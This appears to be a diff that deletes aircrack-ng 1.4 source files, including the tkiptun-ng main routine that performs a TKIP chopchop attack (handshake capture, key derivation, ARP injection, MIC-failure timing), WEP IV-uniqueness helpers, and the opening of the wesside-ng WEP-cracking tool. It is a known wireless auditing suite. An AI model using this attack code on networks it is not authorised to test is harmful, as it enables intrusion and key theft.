-				opt.s_face = optarg;
-				opt.port_in
-					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
-				break;
-
-			case 'r':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_file = optarg;
-				break;
-
-			case 'Z':
-
-				opt.fast = 0;
-				break;
-
-			case 'H':
-
-				printf(usage,
-					   getVersion("Tkiptun-ng",
-								  _MAJ,
-								  _MIN,
-								  _SUB_MIN,
-								  _REVISION,
-								  _BETA,
-								  _RC));
-				return (1);
-
-			case 'K':
-
-				i = 0;
-				n = 0;
-				s = optarg;
-				while (s[i] != '\0')
-				{
-					if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
-						i++;
-					else
-						s[n++] = s[i++];
-				}
-				s[n] = '\0';
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-				i = 0;
-				j = 0;
-				while (sscanf(buf, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf("Invalid keystream.\n");
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return (1);
-					}
-					opt.oldkeystream[opt.oldkeystreamlen] = n;
-					opt.oldkeystreamlen++;
-					s += 2;
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-				break;
-
-			case 'P':
-
-				memset(opt.pmk, 0, sizeof(opt.pmk));
-				i = hexStringToArray(optarg, strlen(optarg), opt.pmk, 128);
-				if (i == -1)
-				{
-					printf("Invalid value. It requires 128 bytes of PMK in "
-						   "hexadecimal.\n");
-					return (1);
-				}
-				opt.got_pmk = 1;
-				break;
-
-			case 'p':
-
-				memset(opt.psk, 0, sizeof(opt.psk));
-				if (strlen(optarg) < 8 || strlen(optarg) > 63)
-				{
-					printf("PSK with invalid length specified [8-64].\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				strncpy(opt.psk, optarg, sizeof(opt.psk) - 1);
-				opt.got_psk = 1;
-				break;
-
-			case 'M':
-
-				ret = sscanf(optarg, "%d", &opt.mic_failure_interval);
-				if (ret != 1 || opt.mic_failure_interval < 0)
-				{
-					printf("Invalid MIC error timeout. [>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			default:
-				goto usage;
-		}
-	}
-
-	if (argc - optind != 1)
-	{
-		if (argc == 1)
-		{
-		usage:
-			printf(
-				usage,
-				getVersion(
-					"Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-		}
-		if (argc - optind == 0)
-		{
-			printf("No replay interface specified.\n");
-		}
-		if (argc > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		return (1);
-	}
-
-	if (!opt.r_smac_set)
-	{
-		printf("A Client MAC must be specified (-h).\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
-	{
-		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
-			   opt.f_minlen,
-			   opt.f_maxlen);
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if (opt.f_tods == 1 && opt.f_fromds == 1)
-	{
-		printf("FromDS and ToDS bit are set: packet has to come from the AP "
-			   "and go to the AP\n");
-	}
-
-	dev.fd_rtc = -1;
-
-/* open the RTC device if necessary */
-
-#if defined(__i386__)
-#if defined(linux)
-	if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
-	{
-		dev.fd_rtc = 0;
-	}
-
-	if ((dev.fd_rtc == 0) && ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
-	{
-		dev.fd_rtc = 0;
-	}
-
-	if (dev.fd_rtc > 0)
-	{
-		if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
-		{
-			perror("ioctl(RTC_IRQP_SET) failed");
-			printf("Make sure enhanced rtc device support is enabled in the "
-				   "kernel (module\n"
-				   "rtc, not genrtc) - also try 'echo 1024 "
-				   ">/proc/sys/dev/rtc/max-user-freq'.\n");
-			close(dev.fd_rtc);
-			dev.fd_rtc = -1;
-		}
-		else
-		{
-			if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
-			{
-				perror("ioctl(RTC_PIE_ON) failed");
-				close(dev.fd_rtc);
-				dev.fd_rtc = -1;
-			}
-		}
-	}
-	else
-	{
-		printf("For information, no action required:"
-			   " Using gettimeofday() instead of /dev/rtc\n");
-		dev.fd_rtc = -1;
-	}
-#endif /* linux */
-#endif /* i386 */
-
-	opt.iface_out = argv[optind];
-	opt.port_out
-		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
-
-	// don't open interface(s) when using test mode and airserv
-	if (!(opt.a_mode == 9 && opt.port_out >= 0))
-	{
-		/* open the replay interface */
-		_wi_out = wi_open(opt.iface_out);
-		if (!_wi_out) return 1;
-		dev.fd_out = wi_fd(_wi_out);
-
-		/* open the packet source */
-		if (opt.s_face != NULL)
-		{
-			// don't open interface(s) when using test mode and airserv
-			if (!(opt.a_mode == 9 && opt.port_in >= 0))
-			{
-				_wi_in = wi_open(opt.s_face);
-				if (!_wi_in) return 1;
-				dev.fd_in = wi_fd(_wi_in);
-				wi_get_mac(_wi_in, dev.mac_in);
-			}
-		}
-		else
-		{
-			_wi_in = _wi_out;
-			dev.fd_in = dev.fd_out;
-
-			/* XXX */
-			dev.arptype_in = dev.arptype_out;
-			wi_get_mac(_wi_in, dev.mac_in);
-		}
-
-		wi_get_mac(_wi_out, dev.mac_out);
-	}
-
-	/* drop privileges */
-	if (setuid(getuid()) == -1)
-	{
-		perror("setuid");
-	}
-
-	/* XXX */
-	if (opt.r_nbpps == 0)
-	{
-		opt.r_nbpps = 10;
-	}
-
-	if (opt.s_file != NULL)
-	{
-		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
-		{
-			perror("open failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
-		{
-			perror("fread(pcap file header) failed");
-			return (1);
-		}
-
-		if (dev.pfh_in.magic != TCPDUMP_MAGIC
-			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"\"%s\" isn't a pcap file (expected "
-					"TCPDUMP_MAGIC).\n",
-					opt.s_file);
-			return (1);
-		}
-
-		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
-
-		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
-			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
-			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"Wrong linktype from pcap file header "
-					"(expected LINKTYPE_IEEE802_11) -\n"
-					"this doesn't look like a regular 802.11 "
-					"capture.\n");
-			return (1);
-		}
-	}
-
-	// if there is no -h given, use default hardware mac
-	if (maccmp(opt.r_smac, NULL_MAC) == 0)
-	{
-		memcpy(opt.r_smac, dev.mac_out, 6);
-		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
-		{
-			printf("No source MAC (-h) specified. Using the device MAC "
-				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
-				   dev.mac_out[0],
-				   dev.mac_out[1],
-				   dev.mac_out[2],
-				   dev.mac_out[3],
-				   dev.mac_out[4],
-				   dev.mac_out[5]);
-		}
-	}
-
-	if (maccmp(opt.r_smac, dev.mac_out) != 0
-		&& maccmp(opt.r_smac, NULL_MAC) != 0)
-	{
-		//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
-		//        to work on madwifi[-ng], set the interface MAC according to
-		//        (-h)!\n");
-		fprintf(stderr,
-				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
-				" doesn't match the specified MAC (-h).\n"
-				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
-				dev.mac_out[0],
-				dev.mac_out[1],
-				dev.mac_out[2],
-				dev.mac_out[3],
-				dev.mac_out[4],
-				dev.mac_out[5],
-				opt.iface_out,
-				opt.r_smac[0],
-				opt.r_smac[1],
-				opt.r_smac[2],
-				opt.r_smac[3],
-				opt.r_smac[4],
-				opt.r_smac[5]);
-	}
-
-	/* DO MICHAEL TEST */
-
-	memset(buf, 0, 128);
-	memcpy(buf, "M", 1);
-	i = michael_test((unsigned char *) "\x82\x92\x5c\x1c\xa1\xd1\x30\xb8",
-					 (unsigned char *) buf,
-					 strlen(buf),
-					 (unsigned char *) "\x43\x47\x21\xca\x40\x63\x9b\x3f");
-	PCT;
-	printf("Michael Test: %s\n", i ? "Successful" : "Failed");
-
-	/* END MICHAEL TEST*/
-
-	if (getnet(NULL, 0, 0) != 0) return 1;
-
-	PCT;
-	printf("Found specified AP\n");
-
-	got_hdsk = 0;
-	while (1)
-	{
-		getHDSK();
-		for (i = 0; i < 10; i++)
-		{
-			read_sleep(500000);
-			if (opt.wpa.state == 7)
-			{
-				got_hdsk = 1;
-				break;
-			}
-		}
-		if (got_hdsk) break;
-	}
-
-	if (!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1)
-	{
-		calc_pmk(opt.psk, opt.r_essid, opt.pmk);
-		PCT;
-		printf("PSK: %s\n", opt.psk);
-		PCT;
-		printf("PMK: ");
-		for (i = 0; i < 31; i++) printf("%02X:", opt.pmk[i]);
-		printf("%02X\n", opt.pmk[31]);
-		opt.got_pmk = 1;
-	}
-
-	if (opt.got_pmk)
-	{
-		opt.wpa_sta.next = NULL;
-		memcpy(opt.wpa_sta.stmac, opt.r_smac, 6);
-		memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6);
-		memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32);
-		memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32);
-		memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20);
-		memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256);
-		opt.wpa_sta.eapol_size = opt.wpa.eapol_size;
-		opt.wpa_sta.keyver = opt.wpa.keyver;
-		opt.wpa_sta.valid_ptk = calc_ptk(&opt.wpa_sta, opt.pmk);
-		PCT;
-		printf("PTK: ");
-		for (i = 0; i < 79; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
-		printf("%02X\n", opt.wpa_sta.ptk[79]);
-		PCT;
-		printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!");
-		if (opt.wpa_sta.valid_ptk) opt.got_ptk = 1;
-
-		PCT;
-		printf("KCK: ");
-		for (i = 0; i < 15; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
-		printf("%02X\n", opt.wpa_sta.ptk[15]);
-
-		PCT;
-		printf("KEK: ");
-		for (i = 16; i < 31; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
-		printf("%02X\n", opt.wpa_sta.ptk[31]);
-
-		PCT;
-		printf("Temporal Encryption Key (TK1): ");
-		for (i = 32; i < 47; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
-		printf("%02X\n", opt.wpa_sta.ptk[47]);
-
-		PCT;
-		printf("Michael Key (FromDS): ");
-		for (i = 48; i < 55; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
-		printf("%02X\n", opt.wpa_sta.ptk[55]);
-
-		PCT;
-		printf("Michael Key (ToDS): ");
-		for (i = 56; i < 63; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
-		printf("%02X\n", opt.wpa_sta.ptk[63]);
-	}
-
-	/* Select ToDS ARP from Client */
-
-	PCT;
-	printf("Waiting for an ARP packet coming from the Client...\n");
-
-	opt.f_tods = 1;
-	opt.f_fromds = 0;
-	memcpy(opt.f_smac, opt.r_smac, 6);
-	//    memcpy(opt.f_dmac, opt.f_bssid, 6);
-	if (opt.fast == -1) opt.fast = 1;
-
-	if (opt.f_minlen_set == 0)
-	{
-		opt.f_minlen = 80;
-	}
-	if (opt.f_maxlen_set == 0)
-	{
-		opt.f_maxlen = 80;
-	}
-
-	while (1)
-	{
-		if (capture_ask_packet(&caplen, 0) != 0) return (1);
-		if (is_qos_arp_tkip(h80211, caplen) == 1) break;
-	}
-
-	memcpy(packet2, h80211, caplen);
-	packet2_len = caplen;
-
-	/* Select FromDS ARP to Client */
-
-	PCT;
-	printf("Waiting for an ARP response packet coming from the AP...\n");
-
-	opt.f_tods = 0;
-	opt.f_fromds = 1;
-	memcpy(opt.f_dmac, opt.r_smac, 6);
-	memcpy(opt.f_smac, NULL_MAC, 6);
-
-	if (opt.f_minlen_set == 0)
-	{
-		opt.f_minlen = 80;
-	}
-	if (opt.f_maxlen_set == 0)
-	{
-		opt.f_maxlen = 98;
-	}
-
-	while (1)
-	{
-		if (capture_ask_packet(&caplen, 0) != 0) return (1);
-		if (is_qos_arp_tkip(h80211, caplen) == 1) break;
-	}
-
-	memcpy(packet1, h80211, caplen);
-	packet1_len = caplen;
-
-	PCT;
-	printf("Got the answer!\n");
-
-	PCT;
-	printf("Waiting 10 seconds to let encrypted EAPOL frames pass without "
-		   "interfering.\n");
-	read_sleep(10 * 1000000);
-
-	memcpy(h80211, packet1, packet1_len);
-
-	/* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */
-
-	if (do_attack_tkipchop(h80211, caplen) == 1) return (1);
-
-	/* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
-	if (opt.chopped_from_plain != NULL)
-	{
-		memcpy(opt.ip_cli, opt.chopped_from_plain + 58, 4);
-		memcpy(opt.ip_ap, opt.chopped_from_plain + 48, 4);
-		memcpy(opt.r_apmac, opt.chopped_from_plain + 42, 6);
-	}
-
-	PCT;
-	printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
-		   opt.r_apmac[0],
-		   opt.r_apmac[1],
-		   opt.r_apmac[2],
-		   opt.r_apmac[3],
-		   opt.r_apmac[4],
-		   opt.r_apmac[5],
-		   opt.ip_ap[0],
-		   opt.ip_ap[1],
-		   opt.ip_ap[2],
-		   opt.ip_ap[3]);
-	PCT;
-	printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
-		   opt.r_smac[0],
-		   opt.r_smac[1],
-		   opt.r_smac[2],
-		   opt.r_smac[3],
-		   opt.r_smac[4],
-		   opt.r_smac[5],
-		   opt.ip_cli[0],
-		   opt.ip_cli[1],
-		   opt.ip_cli[2],
-		   opt.ip_cli[3]);
-
-	/* Send an ARP Request from the AP to the Client */
-
-	build_arp_request(
-		h80211, &caplen, 0); // writes encrypted tkip arp request into h80211
-	send_packet(h80211, caplen);
-	PCT;
-	printf("Sent encrypted tkip ARP request to the client.\n");
-
-	/* wait until we can generate a new mic failure */
-
-	PCT;
-	printf("Wait for the mic countermeasure timeout of %i seconds.\n",
-		   opt.mic_failure_interval);
-
-	while (1)
-	{
-		gettimeofday(&mic_fail, NULL);
-		if ((mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000UL
-				+ (mic_fail.tv_usec - opt.last_mic_failure.tv_usec)
-			> opt.mic_failure_interval * 1000000UL)
-			break;
-		sleep(1);
-	}
-
-	/* Also chop the answer to get the equivalent MIC Key */
-	memcpy(h80211, packet2, packet2_len);
-	do_attack_tkipchop(h80211, caplen);
-
-	/* that's all, folks */
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/uniqueiv.c Deleted

@@ -1,261 +0,0 @@
-/*
- *  IV uniqueness detection method.
- *
- *  Copyright (C) 2004-2008 Stanislaw Pusep:
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-/*
- *  Each IV byte is stored in corresponding "level". We have 3 levels with
- *  IV[2] as root index (level 0), IV[1] and IV[2] as level 2 and level 1
- *  indices respectively. Space required to allocate all data is at maximum
- *  2^24/8 (2 MB) and space required by filled index structures is 257 KB.
- */
-
-#include <stdlib.h>
-#include "uniqueiv.h"
-
-/* allocate root structure */
-
-unsigned char ** uniqueiv_init(void)
-{
-	int i;
-
-	/* allocate root bucket (level 0) as vector of pointers */
-
-	unsigned char ** uiv_root
-		= (unsigned char **) malloc(256 * sizeof(unsigned char *));
-
-	if (uiv_root == NULL) return (NULL);
-
-	/* setup initial state as empty */
-
-	for (i = 0; i < 256; ++i) uiv_root[i] = NULL;
-
-	return (uiv_root);
-}
-
-/* update records with new IV */
-
-int uniqueiv_mark(unsigned char ** uiv_root, unsigned char IV[3])
-{
-	unsigned char ** uiv_lvl1;
-	unsigned char * uiv_lvl2;
-	short i;
-
-	if (uiv_root == NULL) return (0);
-
-	/* select bucket from level 1 */
-
-	uiv_lvl1 = (unsigned char **) uiv_root[IV[2]];
-
-	/* create if it doesn't exist */
-
-	if (uiv_lvl1 == NULL)
-	{
-		/* allocate level 2 bucket being a vector of bits */
-
-		uiv_lvl1 = (unsigned char **) malloc(256 * sizeof(unsigned char *));
-
-		if (uiv_lvl1 == NULL) return (1);
-
-		/* setup initial state as empty */
-
-		for (i = 0; i < 256; i++) uiv_lvl1[i] = NULL;
-
-		/* link to parent bucket */
-
-		uiv_root[IV[2]] = (unsigned char *) uiv_lvl1;
-	}
-
-	/* select bucket from level 2 */
-
-	uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]];
-
-	/* create if it doesn't exist */
-
-	if (uiv_lvl2 == NULL)
-	{
-		/* allocate level 2 bucket as a vector of pointers */
-
-		uiv_lvl2 = (unsigned char *) malloc(32 * sizeof(unsigned char));
-
-		if (uiv_lvl2 == NULL) return (1);
-
-		/* setup initial state as empty */
-
-		for (i = 0; i < 32; i++) uiv_lvl2[i] = 0;
-
-		/* link to parent bucket */
-
-		uiv_lvl1[IV[1]] = uiv_lvl2;
-	}
-
-	/* place single bit into level 2 bucket */
-
-	uiv_lvl2[BITWISE_OFFT(IV[0])] |= BITWISE_MASK(IV[0]);
-
-	return (0);
-}
-
-/* check if already seen IV */
-
-int uniqueiv_check(unsigned char ** uiv_root, unsigned char IV[3])
-{
-	unsigned char ** uiv_lvl1;
-	unsigned char * uiv_lvl2;
-
-	if (uiv_root == NULL) return (IV_NOTHERE);
-
-	/* select bucket from level 1 */
-
-	uiv_lvl1 = (unsigned char **) uiv_root[IV[2]];
-
-	/* stop here if not even allocated */
-
-	if (uiv_lvl1 == NULL) return (IV_NOTHERE);
-
-	/* select bucket from level 2 */
-
-	uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]];
-
-	/* stop here if not even allocated */
-
-	if (uiv_lvl2 == NULL) return (IV_NOTHERE);
-
-	/* check single bit from level 2 bucket */
-
-	if ((uiv_lvl2[BITWISE_OFFT(IV[0])] & BITWISE_MASK(IV[0])) == 0)
-		return (IV_NOTHERE);
-	else
-		return (IV_PRESENT);
-}
-
-/* unallocate everything */
-
-void uniqueiv_wipe(unsigned char ** uiv_root)
-{
-	int i, j;
-	unsigned char ** uiv_lvl1;
-	unsigned char * uiv_lvl2;
-
-	if (uiv_root == NULL) return;
-
-	/* recursively wipe out allocated buckets */
-
-	for (i = 0; i < 256; ++i)
-	{
-		uiv_lvl1 = (unsigned char **) uiv_root[i];
-
-		if (uiv_lvl1 != NULL)
-		{
-			for (j = 0; j < 256; ++j)
-			{
-				uiv_lvl2 = (unsigned char *) uiv_lvl1[j];
-
-				if (uiv_lvl2 != NULL)
-				{
-					free(uiv_lvl2);
-					uiv_lvl2 = NULL;
-				}
-			}
-
-			free(uiv_lvl1);
-			uiv_lvl1 = NULL;
-		}
-	}
-
-	free(uiv_root);
-	uiv_root = NULL;
-
-	return;
-}
-
-unsigned char * data_init(void)
-{
-	// It could eat up to (256*256*256) * 3 bytes = 48Mb :/
-	unsigned char * IVs
-		= (unsigned char *) calloc(256 * 256 * 256 * 3, sizeof(unsigned char));
-	return IVs;
-}
-
-/* Checking WEP packet:
- * The 2 first bytes of 2 different data packets having the same IV (for the
- * same AP)
- * should be exactly the same due to the fact that unencrypted, they are always
- * the same:
- * AA AA
- */
-
-int data_check(unsigned char * data_root,
-			   unsigned char IV[3],
-			   unsigned char data[2])
-{
-	int IV_position, cloaking;
-
-	// Init vars
-	cloaking = NO_CLOAKING;
-
-	// Make sure it is allocated
-	if (data_root != NULL)
-	{
-		// Try to find IV
-		IV_position = (((IV[0] * 256) + IV[1]) * 256) + IV[2];
-		IV_position *= 3;
-
-		// Check if existing
-		if (*(data_root + IV_position) == 0)
-		{
-			// Not existing
-			*(data_root + IV_position) = 1;
-
-			// Add it
-			*(data_root + IV_position + 1) = data[0];
-			*(data_root + IV_position + 2) = data[1];
-		}
-		else
-		{
-			// Good, we found it, so check it now
-			if (*(data_root + IV_position + 1) != data[0]
-				|| *(data_root + IV_position + 2) != data[1])
-			{
-				cloaking = CLOAKING;
-			}
-		}
-	}
-	// else, cannot detect since it is not started
-
-	return cloaking;
-}
-
-void data_wipe(unsigned char * data)
-{
-	if (data) free(data);
-}

aircrack-ng-1.4.tar.gz/src/uniqueiv.h Deleted

@@ -1,63 +0,0 @@
-/*
- *  802.11 WEP / WPA-PSK Key Cracker
- *
- *  Copyright (C) 2007-2012 Martin Beck <hirte@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _UNIQUEIV_H
-#define _UNIQUEIV_H
-
-#define IV_NOTHERE 0
-#define IV_PRESENT 1
-
-/* select byte within which desired bit is located */
-
-#define BITWISE_OFFT(x) (x >> 3)
-
-/* mask to extract desired bit */
-
-#define BITWISE_MASK(x) (1 << (x & 7))
-
-unsigned char ** uniqueiv_init(void);
-int uniqueiv_mark(unsigned char ** uiv_root, unsigned char IV[3]);
-int uniqueiv_check(unsigned char ** uiv_root, unsigned char IV[3]);
-void uniqueiv_wipe(unsigned char ** uiv_root);
-
-#define NO_CLOAKING 0
-#define CLOAKING 1
-
-unsigned char * data_init(void);
-int data_check(unsigned char * data_root,
-			   unsigned char IV[3],
-			   unsigned char data[2]);
-void data_wipe(unsigned char * data);
-
-#endif

aircrack-ng-1.4.tar.gz/src/version.h Deleted

@@ -1,46 +0,0 @@
-/*
- * (c) 2010-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#define _MAJ 1
-#define _MIN 4
-#define _SUB_MIN 0
-#define _BETA 0
-#define _RC 0
-#define WEBSITE "https://aircrack-ng.org"
-
-extern char * getVersion(const char * progname,
-						 const unsigned int maj,
-						 const unsigned int min,
-						 const unsigned int submin,
-						 const char * rev,
-						 const unsigned int beta,
-						 const unsigned int rc);

aircrack-ng-1.4.tar.gz/src/wesside-ng.c Deleted

@@ -1,2324 +0,0 @@
-/*
- *  Copyright (C) 2005-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <termios.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <sys/uio.h>
-#include <net/if.h>
-#include <netinet/in.h>
-#include <netinet/in_systm.h>
-#include <arpa/inet.h>
-#include <sys/time.h>
-#include <time.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <string.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <assert.h>
-#include <zlib.h>
-#include <signal.h>
-#include <stdarg.h>
-#include <err.h>
-#include <limits.h>
-
-#include "aircrack-osdep/osdep.h"
-#include "pcap.h"
-#include "aircrack-ptw-lib.h"
-#include "ieee80211.h"
-#include "ethernet.h"
-#include "if_arp.h"
-#include "if_llc.h"
-#include "crypto.h"
-#include "version.h"
-#include "aircrack-osdep/byteorder.h"
-
-#define FIND_VICTIM 0
-#define FOUND_VICTIM 1
-#define SENDING_AUTH 2
-#define GOT_AUTH 3
-#define SPOOF_MAC 4
-#define SENDING_ASSOC 5
-#define GOT_ASSOC 6
-
-#define LINKTYPE_IEEE802_11 105
-#define TCPDUMP_MAGIC 0xA1B2C3D4
-
-#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
-#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
-#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
-#define PADDED_ARPLEN 54
-
-#define MCAST_PREF "\x01\x00\x5e\x00\x00"
-
-#define WEP_FILE "wep.cap"
-#define KEY_FILE "key.log"
-#define PRGA_FILE "prga.log"
-#define KEYLIMIT 1000000
-
-struct frag_state
-{
-	struct ieee80211_frame fs_wh;
-	unsigned char * fs_data;
-	int fs_len;
-	unsigned char * fs_ptr;
-	int fs_waiting_relay;
-	struct timeval fs_last;
-};
-
-struct prga_info
-{
-	unsigned char * pi_prga;
-	int pi_len;
-	unsigned char pi_iv[3];
-};
-
-struct wstate
-{
-	int ws_state;
-	struct timeval ws_arpsend;
-	char * ws_netip;
-	int ws_netip_arg;
-	int ws_max_chan;
-	unsigned char * ws_rtrmac;
-	unsigned char ws_mymac[6];
-	int ws_have_mac;
-	char ws_myip[16];
-	unsigned char * ws_victim_mac;
-	PTW_attackstate * ws_ptw;
-	unsigned int ws_ack_timeout;
-	int ws_min_prga;
-	int ws_thresh_incr;
-	int ws_crack_dur;
-	int ws_wep_thresh;
-	int ws_crack_pid;
-	struct timeval ws_crack_start;
-	struct timeval ws_real_start;
-	struct timeval ws_lasthop;
-	struct timeval ws_last_wcount;
-	struct wif * ws_wi;
-	unsigned int ws_last_wep_count;
-	int ws_ignore_ack;
-
-	/* tx_state */
-	int ws_waiting_ack;
